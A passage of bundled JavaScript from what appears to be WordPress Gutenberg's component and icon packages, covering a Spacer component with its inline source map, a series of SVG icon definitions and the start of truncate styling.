sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImhvb2sudHMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBNEZNIiwiZmlsZSI6Imhvb2sudHMiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIEV4dGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBjc3MgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5cbi8qKlxuICogSW50ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB0eXBlIHsgV29yZFByZXNzQ29tcG9uZW50UHJvcHMgfSBmcm9tICcuLi9jb250ZXh0JztcbmltcG9ydCB7IHVzZUNvbnRleHRTeXN0ZW0gfSBmcm9tICcuLi9jb250ZXh0JztcbmltcG9ydCB7IHNwYWNlIH0gZnJvbSAnLi4vdXRpbHMvc3BhY2UnO1xuaW1wb3J0IHsgcnRsLCB1c2VDeCB9IGZyb20gJy4uL3V0aWxzJztcbmltcG9ydCB0eXBlIHsgU3BhY2VyUHJvcHMgfSBmcm9tICcuL3R5cGVzJztcblxuZnVuY3Rpb24gaXNEZWZpbmVkPCBUID4oIG86IFQgKTogbyBpcyBFeGNsdWRlPCBULCBudWxsIHwgdW5kZWZpbmVkID4ge1xuXHRyZXR1cm4gdHlwZW9mIG8gIT09ICd1bmRlZmluZWQnICYmIG8gIT09IG51bGw7XG59XG5cbmV4cG9ydCBmdW5jdGlvbiB1c2VTcGFjZXIoXG5cdHByb3BzOiBXb3JkUHJlc3NDb21wb25lbnRQcm9wczwgU3BhY2VyUHJvcHMsICdkaXYnID5cbikge1xuXHRjb25zdCB7XG5cdFx0Y2xhc3NOYW1lLFxuXHRcdG1hcmdpbixcblx0XHRtYXJnaW5Cb3R0b20gPSAyLFxuXHRcdG1hcmdpbkxlZnQsXG5cdFx0bWFyZ2luUmlnaHQsXG5cdFx0bWFyZ2luVG9wLFxuXHRcdG1hcmdpblgsXG5cdFx0bWFyZ2luWSxcblx0XHRwYWRkaW5nLFxuXHRcdHBhZGRpbmdCb3R0b20sXG5cdFx0cGFkZGluZ0xlZnQsXG5cdFx0cGFkZGluZ1JpZ2h0LFxuXHRcdHBhZGRpbmdUb3AsXG5cdFx0cGFkZGluZ1gsXG5cdFx0cGFkZGluZ1ksXG5cdFx0Li4ub3RoZXJQcm9wc1xuXHR9ID0gdXNlQ29udGV4dFN5c3RlbSggcHJvcHMsICdTcGFjZXInICk7XG5cblx0Y29uc3QgY3ggPSB1c2VDeCgpO1xuXG5cdGNvbnN0IGNsYXNzZXMgPSBjeChcblx0XHRpc0RlZmluZWQoIG1hcmdpbiApICYmXG5cdFx0XHRjc3NgXG5cdFx0XHRcdG1hcmdpbjogJHsgc3BhY2UoIG1hcmdpbiApIH07XG5cdFx0XHRgLFxuXHRcdGlzRGVmaW5lZCggbWFyZ2luWSApICYmXG5cdFx0XHRjc3NgXG5cdFx0XHRcdG1hcmdpbi1ib3R0b206ICR7IHNwYWNlKCBtYXJnaW5ZICkgfTtcblx0XHRcdFx0bWFyZ2luLXRvcDogJHsgc3BhY2UoIG1hcmdpblkgKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIG1hcmdpblggKSAmJlxuXHRcdFx0Y3NzYFxuXHRcdFx0XHRtYXJnaW4tbGVmdDogJHsgc3BhY2UoIG1hcmdpblggKSB9O1xuXHRcdFx0XHRtYXJnaW4tcmlnaHQ6ICR7IHNwYWNlKCBtYXJnaW5YICkgfTtcblx0XHRcdGAsXG5cdFx0aXNEZWZpbmVkKCBtYXJnaW5Ub3AgKSAmJlxuXHRcdFx0Y3NzYFxuXHRcdFx0XHRtYXJnaW4tdG9wOiAkeyBzcGFjZSggbWFyZ2luVG9wICkgfTtcblx0XHRcdGAsXG5cdFx0aXNEZWZpbmVkKCBtYXJnaW5Cb3R0b20gKSAmJlxuXHRcdFx0Y3NzYFxuXHRcdFx0XHRtYXJnaW4tYm90dG9tOiAkeyBzcGFjZSggbWFyZ2luQm90dG9tICkgfTtcblx0XHRcdGAsXG5cdFx0aXNEZWZpbmVkKCBtYXJnaW5MZWZ0ICkgJiZcblx0XHRcdHJ0bCgge1xuXHRcdFx0XHRtYXJnaW5MZWZ0OiBzcGFjZSggbWFyZ2luTGVmdCApLFxuXHRcdFx0fSApKCksXG5cdFx0aXNEZWZpbmVkKCBtYXJnaW5SaWdodCApICYmXG5cdFx0XHRydGwoIHtcblx0XHRcdFx0bWFyZ2luUmlnaHQ6IHNwYWNlKCBtYXJnaW5SaWdodCApLFxuXHRcdFx0fSApKCksXG5cdFx0aXNEZWZpbmVkKCBwYWRkaW5nICkgJiZcblx0XHRcdGNzc2Bcblx0XHRcdFx0cGFkZGluZzogJHsgc3BhY2UoIHBhZGRpbmcgKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdZICkgJiZcblx0XHRcdGNzc2Bcblx0XHRcdFx0cGFkZGluZy1ib3R0b206ICR7IHNwYWNlKCBwYWRkaW5nWSApIH07XG5cdFx0XHRcdHBhZGRpbmctdG9wOiAkeyBzcGFjZSggcGFkZGluZ1kgKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdYICkgJiZcblx0XHRcdGNzc2Bcblx0XHRcdFx0cGFkZGluZy1sZWZ0OiAkeyBzcGFjZSggcGFkZGluZ1ggKSB9O1xuXHRcdFx0XHRwYWRkaW5nLXJpZ2h0OiAkeyBzcGFjZSggcGFkZGluZ1ggKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdUb3AgKSAmJlxuXHRcdFx0Y3NzYFxuXHRcdFx0XHRwYWRkaW5nLXRvcDogJHsgc3BhY2UoIHBhZGRpbmdUb3AgKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdCb3R0b20gKSAmJlxuXHRcdFx0Y3NzYFxuXHRcdFx0XHRwYWRkaW5nLWJvdHRvbTogJHsgc3BhY2UoIHBhZGRpbmdCb3R0b20gKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdMZWZ0ICkgJiZcblx0XHRcdHJ0bCgge1xuXHRcdFx0XHRwYWRkaW5nTGVmdDogc3BhY2UoIHBhZGRpbmdMZWZ0ICksXG5cdFx0XHR9ICkoKSxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdSaWdodCApICYmXG5cdFx0XHRydGwoIHtcblx0XHRcdFx0cGFkZGluZ1JpZ2h0OiBzcGFjZSggcGFkZGluZ1JpZ2h0ICksXG5cdFx0XHR9ICkoKSxcblx0XHRjbGFzc05hbWVcblx0KTtcblxuXHRyZXR1cm4geyAuLi5vdGhlclByb3BzLCBjbGFzc05hbWU6IGNsYXNzZXMgfTtcbn1cbiJdfQ== */"), isDefined(paddingLeft) && rtl({
23796 paddingLeft: space(paddingLeft)
23797 })(), isDefined(paddingRight) && rtl({
23798 paddingRight: space(paddingRight)
23799 })(), className2);
23800 return {
23801 ...otherProps,
23802 className: classes
23803 };
23804 }
23805
23806 // packages/components/build-module/spacer/component.mjs
23807 var import_jsx_runtime54 = __toESM(require_jsx_runtime(), 1);
23808 function UnconnectedSpacer(props, forwardedRef) {
23809 const spacerProps = useSpacer(props);
23810 return /* @__PURE__ */ (0, import_jsx_runtime54.jsx)(component_default, {
23811 ...spacerProps,
23812 ref: forwardedRef
23813 });
23814 }
23815 var Spacer = contextConnect(UnconnectedSpacer, "Spacer");
23816 var component_default6 = Spacer;
23817
23818 // packages/components/build-module/number-control/index.mjs
23819 var import_element36 = __toESM(require_element(), 1);
23820 var import_i18n5 = __toESM(require_i18n(), 1);
23821
23822 // packages/icons/build-module/icon/index.mjs
23823 var import_element22 = __toESM(require_element(), 1);
23824 var icon_default2 = (0, import_element22.forwardRef)(
23825 ({ icon, size: size3 = 24, ...props }, ref) => {
23826 return (0, import_element22.cloneElement)(icon, {
23827 width: size3,
23828 height: size3,
23829 ...props,
23830 ref
23831 });
23832 }
23833 );
23834
23835 // packages/icons/build-module/library/arrow-left.mjs
23836 var import_primitives2 = __toESM(require_primitives(), 1);
23837 var import_jsx_runtime55 = __toESM(require_jsx_runtime(), 1);
23838 var arrow_left_default = /* @__PURE__ */ (0, import_jsx_runtime55.jsx)(import_primitives2.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime55.jsx)(import_primitives2.Path, { d: "M20 11.2H6.8l3.7-3.7-1-1L3.9 12l5.6 5.5 1-1-3.7-3.7H20z" }) });
23839
23840 // packages/icons/build-module/library/arrow-right.mjs
23841 var import_primitives3 = __toESM(require_primitives(), 1);
23842 var import_jsx_runtime56 = __toESM(require_jsx_runtime(), 1);
23843 var arrow_right_default = /* @__PURE__ */ (0, import_jsx_runtime56.jsx)(import_primitives3.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime56.jsx)(import_primitives3.Path, { d: "m14.5 6.5-1 1 3.7 3.7H4v1.6h13.2l-3.7 3.7 1 1 5.6-5.5z" }) });
23844
23845 // packages/icons/build-module/library/caution.mjs
23846 var import_primitives4 = __toESM(require_primitives(), 1);
23847 var import_jsx_runtime57 = __toESM(require_jsx_runtime(), 1);
23848 var caution_default = /* @__PURE__ */ (0, import_jsx_runtime57.jsx)(import_primitives4.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime57.jsx)(import_primitives4.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "M5.5 12a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0ZM12 4a8 8 0 1 0 0 16 8 8 0 0 0 0-16Zm-.75 12v-1.5h1.5V16h-1.5Zm0-8v5h1.5V8h-1.5Z" }) });
23849
23850 // packages/icons/build-module/library/check.mjs
23851 var import_primitives5 = __toESM(require_primitives(), 1);
23852 var import_jsx_runtime58 = __toESM(require_jsx_runtime(), 1);
23853 var check_default = /* @__PURE__ */ (0, import_jsx_runtime58.jsx)(import_primitives5.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime58.jsx)(import_primitives5.Path, { d: "M16.5 7.5 10 13.9l-2.5-2.4-1 1 3.5 3.6 7.5-7.6z" }) });
23854
23855 // packages/icons/build-module/library/chevron-down.mjs
23856 var import_primitives6 = __toESM(require_primitives(), 1);
23857 var import_jsx_runtime59 = __toESM(require_jsx_runtime(), 1);
23858 var chevron_down_default = /* @__PURE__ */ (0, import_jsx_runtime59.jsx)(import_primitives6.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime59.jsx)(import_primitives6.Path, { d: "M17.5 11.6L12 16l-5.5-4.4.9-1.2L12 14l4.5-3.6 1 1.2z" }) });
23859
23860 // packages/icons/build-module/library/chevron-left.mjs
23861 var import_primitives7 = __toESM(require_primitives(), 1);
23862 var import_jsx_runtime60 = __toESM(require_jsx_runtime(), 1);
23863 var chevron_left_default = /* @__PURE__ */ (0, import_jsx_runtime60.jsx)(import_primitives7.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime60.jsx)(import_primitives7.Path, { d: "M14.6 7l-1.2-1L8 12l5.4 6 1.2-1-4.6-5z" }) });
23864
23865 // packages/icons/build-module/library/chevron-right-small.mjs
23866 var import_primitives8 = __toESM(require_primitives(), 1);
23867 var import_jsx_runtime61 = __toESM(require_jsx_runtime(), 1);
23868 var chevron_right_small_default = /* @__PURE__ */ (0, import_jsx_runtime61.jsx)(import_primitives8.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime61.jsx)(import_primitives8.Path, { d: "M10.8622 8.04053L14.2805 12.0286L10.8622 16.0167L9.72327 15.0405L12.3049 12.0286L9.72327 9.01672L10.8622 8.04053Z" }) });
23869
23870 // packages/icons/build-module/library/chevron-right.mjs
23871 var import_primitives9 = __toESM(require_primitives(), 1);
23872 var import_jsx_runtime62 = __toESM(require_jsx_runtime(), 1);
23873 var chevron_right_default = /* @__PURE__ */ (0, import_jsx_runtime62.jsx)(import_primitives9.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime62.jsx)(import_primitives9.Path, { d: "M10.6 6L9.4 7l4.6 5-4.6 5 1.2 1 5.4-6z" }) });
23874
23875 // packages/icons/build-module/library/chevron-up.mjs
23876 var import_primitives10 = __toESM(require_primitives(), 1);
23877 var import_jsx_runtime63 = __toESM(require_jsx_runtime(), 1);
23878 var chevron_up_default = /* @__PURE__ */ (0, import_jsx_runtime63.jsx)(import_primitives10.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime63.jsx)(import_primitives10.Path, { d: "M6.5 12.4L12 8l5.5 4.4-.9 1.2L12 10l-4.5 3.6-1-1.2z" }) });
23879
23880 // packages/icons/build-module/library/close-small.mjs
23881 var import_primitives11 = __toESM(require_primitives(), 1);
23882 var import_jsx_runtime64 = __toESM(require_jsx_runtime(), 1);
23883 var close_small_default = /* @__PURE__ */ (0, import_jsx_runtime64.jsx)(import_primitives11.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime64.jsx)(import_primitives11.Path, { d: "M12 13.06l3.712 3.713 1.061-1.06L13.061 12l3.712-3.712-1.06-1.06L12 10.938 8.288 7.227l-1.061 1.06L10.939 12l-3.712 3.712 1.06 1.061L12 13.061z" }) });
23884
23885 // packages/icons/build-module/library/close.mjs
23886 var import_primitives12 = __toESM(require_primitives(), 1);
23887 var import_jsx_runtime65 = __toESM(require_jsx_runtime(), 1);
23888 var close_default = /* @__PURE__ */ (0, import_jsx_runtime65.jsx)(import_primitives12.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime65.jsx)(import_primitives12.Path, { d: "m13.06 12 6.47-6.47-1.06-1.06L12 10.94 5.53 4.47 4.47 5.53 10.94 12l-6.47 6.47 1.06 1.06L12 13.06l6.47 6.47 1.06-1.06L13.06 12Z" }) });
23889
23890 // packages/icons/build-module/library/copy.mjs
23891 var import_primitives13 = __toESM(require_primitives(), 1);
23892 var import_jsx_runtime66 = __toESM(require_jsx_runtime(), 1);
23893 var copy_default = /* @__PURE__ */ (0, import_jsx_runtime66.jsx)(import_primitives13.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime66.jsx)(import_primitives13.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "M5 4.5h11a.5.5 0 0 1 .5.5v11a.5.5 0 0 1-.5.5H5a.5.5 0 0 1-.5-.5V5a.5.5 0 0 1 .5-.5ZM3 5a2 2 0 0 1 2-2h11a2 2 0 0 1 2 2v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V5Zm17 3v10.75c0 .69-.56 1.25-1.25 1.25H6v1.5h12.75a2.75 2.75 0 0 0 2.75-2.75V8H20Z" }) });
23894
23895 // packages/icons/build-module/library/error.mjs
23896 var import_primitives14 = __toESM(require_primitives(), 1);
23897 var import_jsx_runtime67 = __toESM(require_jsx_runtime(), 1);
23898 var error_default = /* @__PURE__ */ (0, import_jsx_runtime67.jsx)(import_primitives14.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime67.jsx)(import_primitives14.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "M12.218 5.377a.25.25 0 0 0-.436 0l-7.29 12.96a.25.25 0 0 0 .218.373h14.58a.25.25 0 0 0 .218-.372l-7.29-12.96Zm-1.743-.735c.669-1.19 2.381-1.19 3.05 0l7.29 12.96a1.75 1.75 0 0 1-1.525 2.608H4.71a1.75 1.75 0 0 1-1.525-2.608l7.29-12.96ZM12.75 17.46h-1.5v-1.5h1.5v1.5Zm-1.5-3h1.5v-5h-1.5v5Z" }) });
23899
23900 // packages/icons/build-module/library/info.mjs
23901 var import_primitives15 = __toESM(require_primitives(), 1);
23902 var import_jsx_runtime68 = __toESM(require_jsx_runtime(), 1);
23903 var info_default = /* @__PURE__ */ (0, import_jsx_runtime68.jsx)(import_primitives15.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime68.jsx)(import_primitives15.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "M5.5 12a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0ZM12 4a8 8 0 1 0 0 16 8 8 0 0 0 0-16Zm.75 4v1.5h-1.5V8h1.5Zm0 8v-5h-1.5v5h1.5Z" }) });
23904
23905 // packages/icons/build-module/library/line-dashed.mjs
23906 var import_primitives16 = __toESM(require_primitives(), 1);
23907 var import_jsx_runtime69 = __toESM(require_jsx_runtime(), 1);
23908 var line_dashed_default = /* @__PURE__ */ (0, import_jsx_runtime69.jsx)(import_primitives16.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime69.jsx)(import_primitives16.Path, { fillRule: "evenodd", d: "M5 11.25h3v1.5H5v-1.5zm5.5 0h3v1.5h-3v-1.5zm8.5 0h-3v1.5h3v-1.5z", clipRule: "evenodd" }) });
23909
23910 // packages/icons/build-module/library/line-dotted.mjs
23911 var import_primitives17 = __toESM(require_primitives(), 1);
23912 var import_jsx_runtime70 = __toESM(require_jsx_runtime(), 1);
23913 var line_dotted_default = /* @__PURE__ */ (0, import_jsx_runtime70.jsx)(import_primitives17.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime70.jsx)(import_primitives17.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "M5.25 11.25h1.5v1.5h-1.5v-1.5zm3 0h1.5v1.5h-1.5v-1.5zm4.5 0h-1.5v1.5h1.5v-1.5zm1.5 0h1.5v1.5h-1.5v-1.5zm4.5 0h-1.5v1.5h1.5v-1.5z" }) });
23914
23915 // packages/icons/build-module/library/line-solid.mjs
23916 var import_primitives18 = __toESM(require_primitives(), 1);
23917 var import_jsx_runtime71 = __toESM(require_jsx_runtime(), 1);
23918 var line_solid_default = /* @__PURE__ */ (0, import_jsx_runtime71.jsx)(import_primitives18.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime71.jsx)(import_primitives18.Path, { d: "M5 11.25h14v1.5H5z" }) });
23919
23920 // packages/icons/build-module/library/link-off.mjs
23921 var import_primitives19 = __toESM(require_primitives(), 1);
23922 var import_jsx_runtime72 = __toESM(require_jsx_runtime(), 1);
23923 var link_off_default = /* @__PURE__ */ (0, import_jsx_runtime72.jsx)(import_primitives19.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime72.jsx)(import_primitives19.Path, { d: "M17.031 4.703 15.576 4l-1.56 3H14v.03l-2.324 4.47H9.5V13h1.396l-1.502 2.889h-.95a3.694 3.694 0 0 1 0-7.389H10V7H8.444a5.194 5.194 0 1 0 0 10.389h.17L7.5 19.53l1.416.719L15.049 8.5h.507a3.694 3.694 0 0 1 0 7.39H14v1.5h1.556a5.194 5.194 0 0 0 .273-10.383l1.202-2.304Z" }) });
23924
23925 // packages/icons/build-module/library/link.mjs
23926 var import_primitives20 = __toESM(require_primitives(), 1);
23927 var import_jsx_runtime73 = __toESM(require_jsx_runtime(), 1);
23928 var link_default = /* @__PURE__ */ (0, import_jsx_runtime73.jsx)(import_primitives20.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime73.jsx)(import_primitives20.Path, { d: "M10 17.389H8.444A5.194 5.194 0 1 1 8.444 7H10v1.5H8.444a3.694 3.694 0 0 0 0 7.389H10v1.5ZM14 7h1.556a5.194 5.194 0 0 1 0 10.39H14v-1.5h1.556a3.694 3.694 0 0 0 0-7.39H14V7Zm-4.5 6h5v-1.5h-5V13Z" }) });
23929
23930 // packages/icons/build-module/library/menu.mjs
23931 var import_primitives21 = __toESM(require_primitives(), 1);
23932 var import_jsx_runtime74 = __toESM(require_jsx_runtime(), 1);
23933 var menu_default = /* @__PURE__ */ (0, import_jsx_runtime74.jsx)(import_primitives21.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime74.jsx)(import_primitives21.Path, { d: "M5 5v1.5h14V5H5zm0 7.8h14v-1.5H5v1.5zM5 19h14v-1.5H5V19z" }) });
23934
23935 // packages/icons/build-module/library/more-vertical.mjs
23936 var import_primitives22 = __toESM(require_primitives(), 1);
23937 var import_jsx_runtime75 = __toESM(require_jsx_runtime(), 1);
23938 var more_vertical_default = /* @__PURE__ */ (0, import_jsx_runtime75.jsx)(import_primitives22.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime75.jsx)(import_primitives22.Path, { d: "M13 19h-2v-2h2v2zm0-6h-2v-2h2v2zm0-6h-2V5h2v2z" }) });
23939
23940 // packages/icons/build-module/library/plus.mjs
23941 var import_primitives23 = __toESM(require_primitives(), 1);
23942 var import_jsx_runtime76 = __toESM(require_jsx_runtime(), 1);
23943 var plus_default = /* @__PURE__ */ (0, import_jsx_runtime76.jsx)(import_primitives23.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime76.jsx)(import_primitives23.Path, { d: "M11 12.5V17.5H12.5V12.5H17.5V11H12.5V6H11V11H6V12.5H11Z" }) });
23944
23945 // packages/icons/build-module/library/published.mjs
23946 var import_primitives24 = __toESM(require_primitives(), 1);
23947 var import_jsx_runtime77 = __toESM(require_jsx_runtime(), 1);
23948 var published_default = /* @__PURE__ */ (0, import_jsx_runtime77.jsx)(import_primitives24.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime77.jsx)(import_primitives24.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "M12 18.5a6.5 6.5 0 1 1 0-13 6.5 6.5 0 0 1 0 13ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm11.53-1.47-1.06-1.06L11 12.94l-1.47-1.47-1.06 1.06L11 15.06l4.53-4.53Z" }) });
23949
23950 // packages/icons/build-module/library/reset.mjs
23951 var import_primitives25 = __toESM(require_primitives(), 1);
23952 var import_jsx_runtime78 = __toESM(require_jsx_runtime(), 1);
23953 var reset_default = /* @__PURE__ */ (0, import_jsx_runtime78.jsx)(import_primitives25.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime78.jsx)(import_primitives25.Path, { d: "M7 11.5h10V13H7z" }) });
23954
23955 // packages/icons/build-module/library/search.mjs
23956 var import_primitives26 = __toESM(require_primitives(), 1);
23957 var import_jsx_runtime79 = __toESM(require_jsx_runtime(), 1);
23958 var search_default = /* @__PURE__ */ (0, import_jsx_runtime79.jsx)(import_primitives26.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime79.jsx)(import_primitives26.Path, { d: "M13 5c-3.3 0-6 2.7-6 6 0 1.4.5 2.7 1.3 3.7l-3.8 3.8 1.1 1.1 3.8-3.8c1 .8 2.3 1.3 3.7 1.3 3.3 0 6-2.7 6-6S16.3 5 13 5zm0 10.5c-2.5 0-4.5-2-4.5-4.5s2-4.5 4.5-4.5 4.5 2 4.5 4.5-2 4.5-4.5 4.5z" }) });
23959
23960 // packages/icons/build-module/library/settings.mjs
23961 var import_primitives27 = __toESM(require_primitives(), 1);
23962 var import_jsx_runtime80 = __toESM(require_jsx_runtime(), 1);
23963 var settings_default = /* @__PURE__ */ (0, import_jsx_runtime80.jsxs)(import_primitives27.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: [
23964 /* @__PURE__ */ (0, import_jsx_runtime80.jsx)(import_primitives27.Path, { d: "m19 7.5h-7.628c-.3089-.87389-1.1423-1.5-2.122-1.5-.97966 0-1.81309.62611-2.12197 1.5h-2.12803v1.5h2.12803c.30888.87389 1.14231 1.5 2.12197 1.5.9797 0 1.8131-.62611 2.122-1.5h7.628z" }),
23965 /* @__PURE__ */ (0, import_jsx_runtime80.jsx)(import_primitives27.Path, { d: "m19 15h-2.128c-.3089-.8739-1.1423-1.5-2.122-1.5s-1.8131.6261-2.122 1.5h-7.628v1.5h7.628c.3089.8739 1.1423 1.5 2.122 1.5s1.8131-.6261 2.122-1.5h2.128z" })
23966 ] });
23967
23968 // packages/icons/build-module/library/swatch.mjs
23969 var import_primitives28 = __toESM(require_primitives(), 1);
23970 var import_jsx_runtime81 = __toESM(require_jsx_runtime(), 1);
23971 var swatch_default = /* @__PURE__ */ (0, import_jsx_runtime81.jsx)(import_primitives28.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime81.jsx)(import_primitives28.Path, { d: "M7.1 5.7 8 6.9c.4-.3.9-.6 1.5-.8l-.6-1.4c-.7.3-1.3.6-1.8 1ZM4.6 8.9l1.4.6c.2-.5.5-1 .8-1.5l-1.2-.9c-.4.6-.8 1.2-1 1.8Zm14.8 0c-.3-.7-.6-1.3-1-1.8l-1.2.9c.3.4.6.9.8 1.5l1.4-.6ZM7.1 18.3c.6.4 1.2.8 1.8 1l.6-1.4c-.5-.2-1-.5-1.5-.8l-.9 1.2ZM5.5 12v-.9h-.7l-.7-.2v2l1.5-.2v-.9Zm-.7 3h-.2c.3.7.6 1.3 1 1.9l1.2-.9c-.3-.4-.6-.9-.8-1.5l-1.2.5Zm9.7 3 .5 1.2v.2c.7-.3 1.3-.6 1.9-1l-.9-1.2c-.4.3-.9.6-1.5.8Zm-2.5.5h-.9l-.2 1.3v.2h2l-.2-1.5h-.9Zm7.9-7.5-1.5.2V13h.7l.7.2v-2ZM18 14.5c-.2.5-.5 1-.8 1.5l1.2.9c.4-.6.8-1.2 1-1.8h-.2l-1.2-.6ZM11 4.1l.2 1.5H13V4.2h-1.9ZM14.5 6c.5.2 1 .5 1.5.8l.9-1.2c-.6-.4-1.2-.8-1.8-1L14.5 6Z" }) });
23972
23973 // packages/icons/build-module/library/tip.mjs
23974 var import_primitives29 = __toESM(require_primitives(), 1);
23975 var import_jsx_runtime82 = __toESM(require_jsx_runtime(), 1);
23976 var tip_default = /* @__PURE__ */ (0, import_jsx_runtime82.jsx)(import_primitives29.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime82.jsx)(import_primitives29.Path, { d: "M12 15.8c-3.7 0-6.8-3-6.8-6.8s3-6.8 6.8-6.8c3.7 0 6.8 3 6.8 6.8s-3.1 6.8-6.8 6.8zm0-12C9.1 3.8 6.8 6.1 6.8 9s2.4 5.2 5.2 5.2c2.9 0 5.2-2.4 5.2-5.2S14.9 3.8 12 3.8zM8 17.5h8V19H8zM10 20.5h4V22h-4z" }) });
23977
23978 // packages/icons/build-module/library/upload.mjs
23979 var import_primitives30 = __toESM(require_primitives(), 1);
23980 var import_jsx_runtime83 = __toESM(require_jsx_runtime(), 1);
23981 var upload_default = /* @__PURE__ */ (0, import_jsx_runtime83.jsx)(import_primitives30.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime83.jsx)(import_primitives30.Path, { d: "M18.5 15v3.5H13V6.7l4.5 4.1 1-1.1-6.2-5.8-5.8 5.8 1 1.1 4-4v11.7h-6V15H4v5h16v-5z" }) });
23982
23983 // packages/components/build-module/number-control/index.mjs
23984 var import_compose7 = __toESM(require_compose(), 1);
23985 var import_deprecated5 = __toESM(require_deprecated(), 1);
23986
23987 // packages/components/build-module/input-control/index.mjs
23988 var import_compose5 = __toESM(require_compose(), 1);
23989 var import_element32 = __toESM(require_element(), 1);
23990
23991 // packages/components/build-module/input-control/input-base.mjs
23992 var import_compose3 = __toESM(require_compose(), 1);
23993 var import_element27 = __toESM(require_element(), 1);
23994
23995 // packages/components/build-module/input-control/backdrop.mjs
23996 var import_element26 = __toESM(require_element(), 1);
23997
23998 // packages/components/build-module/text/hook.mjs
23999 var import_element25 = __toESM(require_element(), 1);
24000
24001 // packages/components/build-module/truncate/hook.mjs
24002 var import_element23 = __toESM(require_element(), 1);
24003
24004 // packages/components/build-module/truncate/styles.mjs
24005 function _EMOTION_STRINGIFIED_CSS_ERROR__3() {
24006 return "You have tried to stringify object returned from `css` function. It isn't supposed to be used directly (e.g. as value of the `className` prop), but rather handed to emotion so it can handle it (e.g. as value of `css` prop).";
24007 }
24008 var Truncate = false ? {
24009 name: "hdknak",
24010 styles: "display:block;overflow:hidden;text-overflow:ellipsis;white-space:nowrap"
24011 } : {
24012 name: "abxxyf-Truncate",
